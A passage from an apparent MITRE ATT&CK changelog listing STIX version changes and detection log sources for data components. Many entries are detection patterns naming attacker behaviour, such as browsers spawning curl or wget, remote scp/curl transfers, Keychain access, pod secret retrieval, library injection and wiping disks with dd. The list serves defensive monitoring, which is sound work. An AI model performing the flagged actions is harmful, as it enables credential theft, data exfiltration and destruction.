'execve: Processes unexpectedly invoking Keychain or authentication APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)'}, {'name': 'macos:unifiedlog', 'channel': 'process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary'}, {'name': 'auditd:EXECVE', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'process:launch'}, {'name': 'auditd:EXECVE', 'channel': 'Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of "sharing -l", "smbutil view", "mount_smbfs"'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of scp, rsync, curl with remote destination'}, {'name': 'macos:unifiedlog', 'channel': 'logMessage contains pbpaste or osascript'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)'}, {'name': 'macos:unifiedlog', 'channel': 'process launch of diskutil or system_profiler with SPStorageDataType'}, {'name': 'esxi:hostd', 'channel': "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'"}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app executing with parameters updating rules state'}, {'name': 'esxi:shell', 'channel': '/var/log/vmkernel.log, /var/log/vmkwarning.log'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera'}, {'name': 'kubernetes:apiserver', 'channel': 'exec into pod followed by secret retrieval via API'}, {'name': 'macos:unifiedlog', 'channel': 'process_name IN ("VBoxManage", "prlctl") AND command CONTAINS ("list", "show")'}, {'name': 'macos:unifiedlog', 'channel': 'exec srm|exec openssl|exec gpg'}, {'name': 'linux:osquery', 'channel': 'Process execution with LD_PRELOAD or modified library path'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'linux:Sysmon', 'channel': 'process creation events linked to container namespaces executing host-level binaries'}, {'name': 'WinEventlog:Security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'process and signing chain events'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices events for misleading extensions'}, {'name': 'fs:fsusage', 'channel': 'Execution of disguised binaries'}, {'name': 'linux:osquery', 'channel': 'process listening or connecting on non-standard ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchd services binding to non-standard ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, connect'}, {'name': 'esxi:cron', 'channel': 'process or cron activity'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with unsigned or anomalously signed certificates'}, {'name': 'auditd:SYSCALL', 'channel': 'execve logging for /usr/bin/systemctl and systemd-run'}, {'name': 'macos:osquery', 'channel': 'Invocation of osascript or dylib injection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of files saved in mail or download directories'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Terminal, osascript, or other interpreters originating from Mail or Preview'}, {'name': 'macos:unifiedlog', 'channel': 'process events'}, {'name': 'linux:syslog', 'channel': 'Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of CLI tools like psql, mysql, mongo, sqlite3'}, {'name': 'macos:unifiedlog', 'channel': 'Process start of Java or native DB client tools'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or tccd-related entries'}, {'name': 'macos:osquery', 'channel': 'query: process_events, launchd, and tcc.db access'}, {'name': 'ebpf:syscalls', 'channel': 'process execution or network connect from just-created container PID namespace'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of pip, npm, gem, or similar package managers'}, {'name': 'macos:unifiedlog', 'channel': 'Command line invocation of pip3, brew install, npm install from interactive Terminal'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/exec of service via PID 1 (systemd)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of ssh/scp/sftp without corresponding authentication log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ssh or sftp without corresponding login event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve where exe=/usr/bin/python3 or similar interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'launch of remote desktop app or helper binary'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes making network calls based on DNS-derived ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl spawning new processes'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl activity and process creation'}, {'name': 'containerd:events', 'channel': 'New container with suspicious image name or high resource usage'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Python, Swift, or other binaries invoking archiving libraries'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl or crypto libraries making outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SSL routines from Security framework'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of binaries located in /etc/init.d/ or systemd service paths'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binary listed in newly modified LaunchAgent plist'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of bless or nvram modifying boot parameters'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes registered with launchd'}, {'name': 'macos:unifiedlog', 'channel': 'Process launch'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, osascript, or unexpected Office processes'}, {'name': 'macos:osquery', 'channel': 'exec'}, {'name': 'macos:unifiedlog', 'channel': 'Trust validation failures or bypass attempts during notarization and code signing checks'}, {'name': 'esxi:vmkernel', 'channel': 'spawned shell or execution environment activity'}, {'name': 'macos:unifiedlog', 'channel': 'process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd/sgdisk with arguments writing to sector 0 or partition table'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with unusual parameters or targets'}, {'name': 'm365:defender', 'channel': 'AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)'}, {'name': 'macos:unifiedlog', 'channel': 'execve or dylib load from memory without backing file'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.'}, {'name': 'esxi:shell', 'channel': 'Shell Execution'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual child process tree indicating attempted recovery after crash'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of binaries/scripts presenting false health messages for security daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes mimicking Apple Security & Privacy GUIs'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Auditing', 'channel': 'EventCode=4688'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, setifflags'}, {'name': 'macos:osquery', 'channel': "process_events where path like '%tcpdump%'"}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, or wipe with arguments targeting block devices'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl stop auditd, kill -9 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:27.797000+00:00 | 2025-10-21 19:28:39.339000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0034', 'external_id': 'DC0034'}] | |
| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.process'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads'}, {'name': 'linux:syslog', 'channel': 'sudo or service accounts invoking loaders with suspicious env vars'}, {'name': 'macos:osquery', 'channel': 'Process Context'}, {'name': 'esxi:auth', 'channel': 'user session'}, {'name': 'networkdevice:syslog', 'channel': 'Admin activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for sudo where euid != uid'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.TCC'}, {'name': 'macos:unifiedlog', 'channel': 'exec of binary with setuid/setgid and EUID != UID'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'Use of fork/exec with DISPLAY unset or redirected'}, {'name': 'EDR:Telemetry', 'channel': 'Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log API calls reading/altering time/ntp settings'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, prctl, or ptrace activity affecting process memory or command-line arguments'}, {'name': 'linux:osquery', 'channel': 'Cross-reference argv[0] with actual executable path and parent process metadata'}, {'name': 'WinEventLog:AppLocker', 'channel': 'AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy'}, {'name': 'EDR:hunting', 'channel': 'Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode', 'channel': 'ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads'}, {'name': 'etw:Microsoft-Windows-ClickOnce', 'channel': 'provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational', 'channel': 'Process session start/stop events for camera pipeline by unexpected executables'}, {'name': 'linux:osquery', 'channel': "select: path LIKE '/dev/video%'"}, {'name': 'linux:osquery', 'channel': 'state=attached/debugged'}, {'name': 'macos:unifiedlog', 'channel': 'Code Execution & Entitlement Access'}, {'name': 'macos:unifiedlog', 'channel': 'Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID'}, {'name': 'macos:unifiedlog', 'channel': 'code signature/memory protection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with UID ≠ EUID'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with escalated privileges'}, {'name': 'AWS:CloudTrail', 'channel': 'cross-account or unexpected assume role'}, {'name': 'macos:unifiedlog', 'channel': 'log collect from launchd and process start'}, {'name': 'containerd:events', 'channel': 'Docker or containerd image pulls and process executions'}, {'name': 'linux:syslog', 'channel': 'Kernel or daemon warnings of downgraded TLS or cryptographic settings'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications or writes to EFI system partition for downgraded bootloaders'}, {'name': 'macos:unifiedlog', 'channel': 'non-shell process tree accessing bash history'}, {'name': 'linux:osquery', 'channel': 'process metadata mismatch between /proc and runtime attributes'}, {'name': 'linux:osquery', 'channel': 'process environment variables containing LD_PRELOAD'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=400,403'}, {'name': 'macos:osquery', 'channel': 'Process Execution + Hash'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'process_start: EventHeader.ProcessId true parent vs reported PPID mismatch'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned/invalid signature modules or images loaded by msbuild.exe or its children'}, {'name': 'WinEventLog:Microsoft-Windows-DeviceGuard/Operational', 'channel': 'WDAC policy audit/block affecting msbuild.exe spawned payloads'}, {'name': 'WinEventLog:Microsoft-Windows-SmartAppControl/Operational', 'channel': 'Smart App Control decisions (audit/block) for msbuild.exe-launched executables'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or untrusted modules loaded during JamPlus.exe runtime'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:37.873000+00:00 | 2025-10-21 15:14:35.331000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0020', 'external_id': 'DC0020'}] | |
| x_mitre_log_sources | [{'name': 'auditd:SYSCALL', 'channel': 'rename, chmod'}, {'name': 'auditd:SYSCALL', 'channel': 'mprotect'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_MMAP'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting auditd process'}, {'name': 'macos:unifiedlog', 'channel': 'memory mapping'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=8'}, {'name': 'macos:osquery', 'channel': 'Memory Mappings'}, {'name': 'ebpf:tracepoints', 'channel': 'Runtime memory overwrite of argv[] memory region'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'Memory Modification / Unmapped module load or suspicious RWX allocations in the process space of a browser process'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous dyld dynamic library loads or RWX memory mappings in browser process'}, {'name': 'auditd:SYSCALL', 'channel': 'open, rename'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL ptrace/mprotect'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'macos:unifiedlog', 'channel': 'process, library load, memory operations'}, {'name': 'auditd:SYSCALL', 'channel': 'rename'}, {'name': 'linux:osquery', 'channel': 'Detection of bitwise operations or custom encryption functions in memory traces'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal memory operations (XOR/bitwise loops) during archive generation'}, {'name': 'auditd:memprotect', 'channel': 'change from PROT_READ|PROT_WRITE to PROT_EXEC'}, {'name': 'linux:procfs', 'channel': '/proc/[pid]/maps, /proc/[pid]/mem'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:43.915000+00:00 | 2025-10-21 15:14:35.747000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0033', 'external_id': 'DC0033'}] | |
| x_mitre_log_sources | [{'name': 'Process', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=5'}, {'name': 'linux:syslog', 'channel': 'Unexpected termination of daemons or critical services not aligned with admin change tickets'}, {'name': 'macos:osquery', 'channel': 'process_termination: Unexpected termination of processes tied to vulnerable or high-value services'}, {'name': 'esxi:hostd', 'channel': 'Log entries indicating VM powered off or forcibly terminated'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal process killed (killall Terminal) immediately after sudoers modification'}, {'name': 'auditd:SYSCALL', 'channel': 'exit_group'}, {'name': 'macos:unifiedlog', 'channel': 'process.*exit.*code'}, {'name': 'linux:osquery', 'channel': 'unexpected termination of syslog or rsyslog processes'}, {'name': 'auditd:SYSCALL', 'channel': 'Process segfault or abnormal termination after invoking vulnerable syscall sequence'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting logging/security processes'}, {'name': 'macos:unifiedlog', 'channel': 'Termination of syspolicyd or XProtect processes'}, {'name': 'docker:runtime', 'channel': 'Termination of monitoring sidecar or security container'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:34.519000+00:00 | 2025-10-21 15:14:36.181000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0104', 'external_id': 'DC0104'}] | |
| x_mitre_log_sources | [{'name': 'Internet Scan', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious changes in TLS certificate responses or redirected domains'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:36.394000+00:00 | 2025-10-21 15:14:40.412000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0106', 'external_id': 'DC0106'}] | |
| x_mitre_log_sources | [{'name': 'Internet Scan', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Altered response metadata or blocked content based on user-agent or geolocation'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:39.602000+00:00 | 2025-10-21 15:14:40.350000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0001', 'external_id': 'DC0001'}] | |
| x_mitre_log_sources | [{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4698'}, {'name': 'linux:syslog', 'channel': 'Execution of non-standard script or binary by cron'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'EventCode=106'}, {'name': 'linux:osquery', 'channel': 'crontab, systemd_timers'}, {'name': 'macos:osquery', 'channel': 'launchd_jobs'}, {'name': 'esxi:vmkernel', 'channel': 'Startup script and task execution logs'}, {'name': 'kubernetes:apiserver', 'channel': 'verb=create, resource=cronjobs, group=batch'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'process: crontab edits, launch of cron job'}, {'name': 'macos:osquery', 'channel': 'file_events - cron, launchd'}, {'name': 'esxi:cron', 'channel': 'execution of scheduled job'}, {'name': 'esxi:hostd', 'channel': 'task creation events'}, {'name': 'macos:cron', 'channel': 'cron/launchd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4699'}, {'name': 'linux:cron', 'channel': 'Scheduled execution of unknown or unusual script/binary'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:43.635000+00:00 | 2025-10-21 15:14:35.814000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0005', 'external_id': 'DC0005'}] | |
| x_mitre_log_sources | [{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'linux:cron', 'channel': '/var/log/syslog or journalctl'}, {'name': 'fs:fileevents', 'channel': '/Library/LaunchDaemons/*.plist, ~/Library/LaunchAgents/*.plist'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'Task registration/execution shortly after a time discovery event'}, {'name': 'linux::cron', 'channel': 'crontab or at job created within TimeWindow post time discovery'}, {'name': 'macos:unifiedlog', 'channel': 'New/modified launchd plist (persistence/scheduling) within TimeWindow after time query'}, {'name': 'esxi:syslog', 'channel': '/var/log/vpxa.log task invocations tied to time configuration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=106, 200'}, {'name': 'linux:cron', 'channel': 'cron activity'}, {'name': 'macos:launchd', 'channel': 'launchd.plist and logs'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:39:56.271000+00:00 | 2025-10-22 19:03:38.549000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ics-attack |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0012', 'external_id': 'DC0012'}] | |
| x_mitre_log_sources | [{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/var/log/audit/audit.log'}, {'name': 'm365:exchange', 'channel': 'Remove-InboxRule, Clear-Mailbox'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4702'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:40.267000+00:00 | 2025-10-21 15:14:38.292000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0029', 'external_id': 'DC0029'}] | |
| x_mitre_log_sources | [{'name': 'Script', 'channel': 'None'}, {'name': 'm365:office', 'channel': 'VBA auto_open, auto_close, or document_open events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "python"\''}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1502, 1503'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "wscript" OR "vbs"\''}, {'name': 'macos:unifiedlog', 'channel': 'osascript or AppleScript invocation modifying UI'}, {'name': 'networkdevice:runtime', 'channel': 'runtime'}, {'name': 'macos:unifiedlog', 'channel': 'log'}, {'name': 'esxi:vmkernel', 'channel': 'boot'}, {'name': 'macos:unifiedlog', 'channel': "AppleScript creating login item via 'System Events' dictionary"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'WinEventLog:Application', 'channel': 'Stored procedure creation, modification, or xp_cmdshell invocation via SQL logs or SQL Server auditing'}, {'name': 'ApplicationLogs:SQL', 'channel': 'Stored procedure creation or modification with shell invocation (e.g., system(), exec())'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=launchservices'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled'}, {'name': 'EDR:scriptblock', 'channel': 'Process Tree + Script Block Logging'}, {'name': 'linux:syslog', 'channel': 'boot logs'}, {'name': 'm365:defender', 'channel': 'ScriptBlockLogging + AMSI'}, {'name': 'macos:unifiedlog', 'channel': 'log stream with predicate \'eventMessage CONTAINS "osascript"\''}, {'name': 'etw:Microsoft-Antimalware-Scan-Interface', 'channel': 'Amsi/Script content + API verdicts during in-memory staging'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=4016,5312'}, {'name': 'auditd:PROCTITLE', 'channel': 'scripting loop invoking sleep/ping'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic'}, {'name': 'macos:syslog', 'channel': 'system.log, asl.log'}, {'name': 'macos:osquery', 'channel': 'exec: Unexpected execution of osascript or AppleScript targeting sensitive apps'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.Security or com.apple.applescript'}, {'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/runCommand/action: Abnormal initiation of Azure RunCommand jobs or PowerShell/Bash payloads'}, {'name': 'EDR:AMSI', 'channel': 'Malicious inline C#/script blobs embedded in MSBuild projects if intercepted by AMSI-aware loaders (rare but possible via chained LOLBins)'}, {'name': 'macos:unifiedlog', 'channel': 'osascript, AppleScript, or Python execution triggered immediately after HID connection'}, {'name': 'm365:unified', 'channel': 'Scripted Activity'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:46.164000+00:00 | 2025-10-21 15:14:36.018000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0060', 'external_id': 'DC0060'}] | |
| x_mitre_log_sources | [{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7036'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'creation or modification of systemd services'}, {'name': 'macos:osquery', 'channel': 'Process Events and Launch Daemons'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7045'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=7045'}, {'name': 'linux:osquery', 'channel': 'newly registered unit file with ExecStart pointing to unknown binary'}, {'name': 'macos:unifiedlog', 'channel': 'creation or loading of new launchd services'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4697'}, {'name': 'linux:syslog', 'channel': 'systemctl start/enable with uncommon binary paths'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031, 7034'}, {'name': 'macos:osquery', 'channel': 'launch_daemons'}, {'name': 'macos:unifiedlog', 'channel': 'launchd loading new LaunchDaemon or changes to existing daemon configuration'}, {'name': 'macos:osquery', 'channel': 'detection of new launch agents with suspicious paths or unsigned binaries'}, {'name': 'kubernetes:audit', 'channel': 'create'}, {'name': 'containerLogs:systemd_unit_files', 'channel': 'unit file referencing container binary with persistent flags'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:54.408000+00:00 | 2025-10-21 15:14:36.315000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0041', 'external_id': 'DC0041'}] | |
| x_mitre_log_sources | [{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:sysmon', 'channel': 'EventCode=4'}, {'name': 'linux:syslog', 'channel': 'service stopped messages'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl disable or bootout calls'}, {'name': 'esxi:hostd', 'channel': 'Stop VM or disable service events via vim-cmd'}, {'name': 'linux:syslog', 'channel': 'auditd service stopped or disabled'}, {'name': 'macos:osquery', 'channel': 'launchd'}, {'name': 'linux:osquery', 'channel': 'scheduled/real-time'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.launchservices'}, {'name': 'esxi:hostd', 'channel': 'registers services with legitimate-sounding names'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7035'}, {'name': 'linux:syslog', 'channel': 'Service restart with modified executable path'}, {'name': 'macos:unifiedlog', 'channel': 'Observed loading of new LaunchAgent or LaunchDaemon plist'}, {'name': 'kubernetes:audit', 'channel': 'seccomp or AppArmor profile 